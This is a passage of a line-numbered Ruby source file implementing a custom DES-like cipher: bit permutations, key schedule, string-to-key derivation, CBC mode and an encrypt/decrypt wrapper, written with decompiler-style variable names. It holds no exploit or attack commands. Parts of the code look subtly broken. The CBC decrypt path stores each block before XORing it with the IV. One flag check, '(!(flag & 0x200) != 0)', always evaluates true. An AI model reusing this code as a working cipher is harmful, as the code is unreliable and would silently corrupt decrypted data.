736
v5 |= 0x200000
737
end
738
if (v4 & 0x20000000) != 0
739
v5 |= 0x400000
740
end
741
if (v3 & 0x20000000) != 0
742
v5 |= 0x800000
743
end
744
if (v4 & 0x10) != 0
745
v5 |= 0x1000000
746
end
747
if (v3 & 0x10) != 0
748
v5 |= 0x2000000
749
end
750
if (v4 & 0x1000) != 0
751
v5 |= 0x4000000
752
end
753
if (v3 & 0x1000) != 0
754
v5 |= 0x8000000
755
end
756
if (v4 & 0x100000) != 0
757
v5 |= 0x10000000
758
end
759
if (v3 & 0x100000) != 0
760
v5 |= 0x20000000
761
end
762
if (v4 & 0x10000000) != 0
763
v5 |= 0x40000000
764
end
765
if (v3 & 0x10000000) != 0
766
v5 |= 0x80000000
767
end
768
if (v4 & 8) != 0
769
v6 = 1
770
end
771
if (v3 & 8) != 0
772
v6 |= 2
773
end
774
if (v4 & 0x800) != 0
775
v6 |= 4
776
end
777
if (v3 & 0x800) != 0
778
v6 |= 8
779
end
780
if (v4 & 0x80000) != 0
781
v6 |= 0x10
782
end
783
if (v3 & 0x80000) != 0
784
v6 |= 0x20
785
end
786
if (v4 & 0x8000000) != 0
787
v6 |= 0x40
788
end
789
if (v3 & 0x8000000) != 0
790
v6 |= 0x80
791
end
792
if (v4 & 4) != 0
793
v6 |= 0x100
794
end
795
if (v3 & 4) != 0
796
v6 |= 0x200
797
end
798
if (v4 & 0x400) != 0
799
v6 |= 0x400
800
end
801
if (v3 & 0x400) != 0
802
v6 |= 0x800
803
end
804
if (v4 & 0x40000) != 0
805
v6 |= 0x1000
806
end
807
if (v3 & 0x40000) != 0
808
v6 |= 0x2000
809
end
810
if (v4 & 0x4000000) != 0
811
v6 |= 0x4000
812
end
813
if (v3 & 0x4000000) != 0
814
v6 |= 0x8000
815
end
816
if (v4 & 2) != 0
817
v6 |= 0x10000
818
end
819
if (v3 & 2) != 0
820
v6 |= 0x20000
821
end
822
if (v4 & 0x200) != 0
823
v6 |= 0x40000
824
end
825
if (v3 & 0x200) != 0
826
v6 |= 0x80000
827
end
828
if (v4 & 0x20000) != 0
829
v6 |= 0x100000
830
end
831
if (v3 & 0x20000) != 0
832
v6 |= 0x200000
833
end
834
if (v4 & 0x2000000) != 0
835
v6 |= 0x400000
836
end
837
if (v3 & 0x2000000) != 0
838
v6 |= 0x800000
839
end
840
if (v4 & 1) != 0
841
v6 |= 0x1000000
842
end
843
if (v3 & 1) != 0
844
v6 |= 0x2000000
845
end
846
if (v4 & 0x100) != 0
847
v6 |= 0x4000000
848
end
849
if (v3 & 0x100) != 0
850
v6 |= 0x8000000
851
end
852
if (v4 & 0x10000) != 0
853
v6 |= 0x10000000
854
end
855
if (v3 & 0x10000) != 0
856
v6 |= 0x20000000
857
end
858
if (v4 & 0x1000000) != 0
859
v6 |= 0x40000000
860
end
861
if (v3 & 0x1000000) != 0
862
v6 |= 0x80000000
863
end
864
865
# Create return tuple
866
ret_block = Array.new
867
ret_block.push v5
868
ret_block.push v6
869
ret_block
870
end
871
872
def load(a1)
873
a2 = Array.new(8, 0)
874
v3 = a1
875
a2[0] = a1 & 0xff
876
v3 >>= 3
877
a2[1] = v3 & 0xff
878
v3 >>= 4
879
a2[2] = v3 & 0xff
880
v3 >>= 4
881
a2[3] = v3 & 0xff
882
v3 >>= 4
883
a2[4] = v3 & 0xff
884
v3 >>= 4
885
a2[5] = v3 & 0xff
886
v3 >>= 4
887
a2[6] = v3 & 0xff
888
v3 >>= 4
889
a2[7] = v3 & 0xff
890
a2[0] = (a2[0] * 2) & 0xff
891
a2[7] |= (16 * a2[0]) & 0xff
892
v3 >>= 4
893
a2[0] |= v3 & 0xff
894
895
data_block = a2.pack('c*').unpack('V*')
896
data_block[0] &= 0x3F3F3F3F
897
data_block[1] &= 0x3F3F3F3F
898
data_block
899
end
900
901
def desx(data_block, ksch, idx)
902
ksch = ksch.pack('V*')
903
ksch = ksch.unpack('Q<*')
904
key_block = ksch[idx]
905
906
data_block_ptr = data_block.pack('V*')
907
data_block_ptr = data_block_ptr.unpack1('Q<*')
908
data_block_ptr ^= key_block
909
910
counter = 1
911
data_block_byte_ptr = [data_block_ptr].pack('Q<')
912
left = SBOXES[data_block_byte_ptr[0].ord]
913
right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]
914
counter += 1
915
left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
916
counter += 1
917
right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
918
counter += 1
919
left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
920
counter += 1
921
right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
922
counter += 1
923
left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
924
counter += 1
925
right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
926
counter += 1
927
left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
928
counter += 1
929
right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
930
counter += 1
931
left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
932
counter += 1
933
right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
934
counter += 1
935
left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
936
counter += 1
937
right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
938
counter += 1
939
left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
940
counter += 1
941
right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
942
943
# Create return tuple
944
ret_block = Array.new
945
ret_block.push left
946
ret_block.push right
947
ret_block
948
end
949
950
def store(data_block)
951
a1 = data_block.pack('V*')
952
val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1
953
val & 0xffffffff
954
end
955
956
def sbox_xors(data_block_in, ksch_arg, decrypt_flag)
957
decrypt_flag_cpy = decrypt_flag
958
if (decrypt_flag & 0x100) != 0
959
data_block_0 = data_block_in
960
else
961
data_block_0 = rotate_block_init(data_block_in)
962
end
963
964
encrypt_flag = (decrypt_flag_cpy & 1) == 0
965
ti_block_0 = load(data_block_0[0])
966
ti_block_1 = load(data_block_0[1])
967
968
for i in 0..15
969
ti_cpy = ti_block_1
970
if encrypt_flag
971
ti_block_1 = desx(ti_block_1, ksch_arg, i)
972
else
973
ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)
974
end
975
ti_block_1[0] ^= ti_block_0[0]
976
ti_block_1[1] ^= ti_block_0[1]
977
ti_block_0 = ti_cpy
978
end
979
980
data_block_0[0] = store(ti_block_1)
981
data_block_0[1] = store(ti_block_0)
982
983
if (!(decrypt_flag_cpy & 0x200) != 0)
984
rotate_block_final(data_block_0)
985
else
986
data_block_0
987
end
988
end
989
990
def gen_key_unchecked(key)
991
idx = 0
992
key_arr = key.unpack('V*')
993
key_sch = Array.new
994
for i in 0..15
995
idx += ROTATIONS[i].ord
996
v6 = 0
997
v5 = 0
998
v14 = 0
999
for j in 0..47
1000
pc2_p1 = (idx + PC2[j].ord) % 0x1C
1001
if PC2[j].ord > 0x1B
1002
pc2_p2 = 0x1c
1003
else
1004
pc2_p2 = 0
1005
end
1006
v13 = PC1[pc2_p1 + pc2_p2].ord
1007
if v13 <= 31
1008
v12 = 0
1009
else
1010
v12 = 1
1011
v13 -= 32
1012
end
1013
if j <= 23
1014
v10 = j
1015
else
1016
v14 = 1
1017
v10 = j - 24
1018
end
1019
v11 = 8 * (v10 / 6) + v10 % 6
1020
key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]
1021
1022
if (key_and != 0)
1023
if v14 == 1
1024
v6 |= SBOX_BYTE_ORDER[v11]
1025
else
1026
v5 |= SBOX_BYTE_ORDER[v11]
1027
end
1028
end
1029
end
1030
key_sch.push v5
1031
key_sch.push v6
1032
end
1033
key_sch
1034
end
1035
1036
def des_string_to_key(key_buf_str)
1037
des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)
1038
des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)
1039
1040
temp_key1 = Array.new(8, 0)
1041
temp_key2 = Array.new(8, 0)
1042
1043
key_buf_bytes = key_buf_str.unpack('c*')
1044
1045
counter = 0
1046
key_buf_str_len = key_buf_bytes.length - 1
1047
for i in 0..key_buf_str_len
1048
counter %= 8
1049
temp_key1[counter] |= key_buf_bytes[i]
1050
temp_key2[counter] |= key_buf_bytes[i]
1051
1052
data_block = temp_key1.pack('c*').unpack('V*')
1053
temp_key1 = sbox_xors(data_block, des_keysch_0, 0)
1054
temp_key1 = temp_key1.pack('V*').unpack('c*')
1055
1056
data_block = temp_key2.pack('c*').unpack('V*')
1057
temp_key2 = sbox_xors(data_block, des_keysch_1, 0)
1058
temp_key2 = temp_key2.pack('V*').unpack('c*')
1059
counter += 1
1060
end
1061
1062
# Prepare the return array
1063
ret_key = Array.new(8, 0)
1064
for j in 0..7
1065
ret_key[j] = temp_key2[j] ^ temp_key1[j]
1066
end
1067
ret_key.pack('c*')
1068
end
1069
1070
def des_cbc(input_buf, key_sch, iv, decrypt_flag)
1071
output_block_arr = Array.new
1072
blocks = input_buf.unpack('Q<*')
1073
for i in 0..blocks.length - 1
1074
1075
current_block = blocks[i]
1076
if decrypt_flag == 1
1077
cur_block = current_block
1078
else
1079
current_block ^= iv
1080
end
1081
1082
current_block_tuple = [current_block].pack('Q<').unpack('V*')
1083
output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)
1084
output_block = output_block_tuple.pack('V*').unpack1('Q<')
1085
output_block_arr.push output_block
1086
1087
if decrypt_flag == 1
1088
output_block ^= iv
1089
iv = cur_block
1090
else
1091
iv = output_block
1092
end
1093
end
1094
1095
output_block_arr.pack('Q<*')
1096
end
1097
1098
def des_crypt_func(binary_buf, key_buf, decrypt_flag)
1099
des_key = des_string_to_key(key_buf)
1100
des_keysch = gen_key_unchecked(des_key)
1101
1102
temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)
1103
binary_buf_str = binary_buf.unpack('c*')
1104
1105
for j in 0..binary_buf_str.length - 1
1106
temp_enc_buf[j] = binary_buf_str[j]
1107
end
1108
1109
temp_enc_buf = temp_enc_buf.pack('c*')
1110
output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)
1111
output_buf
1112
end
1113
1114
end
1115
1116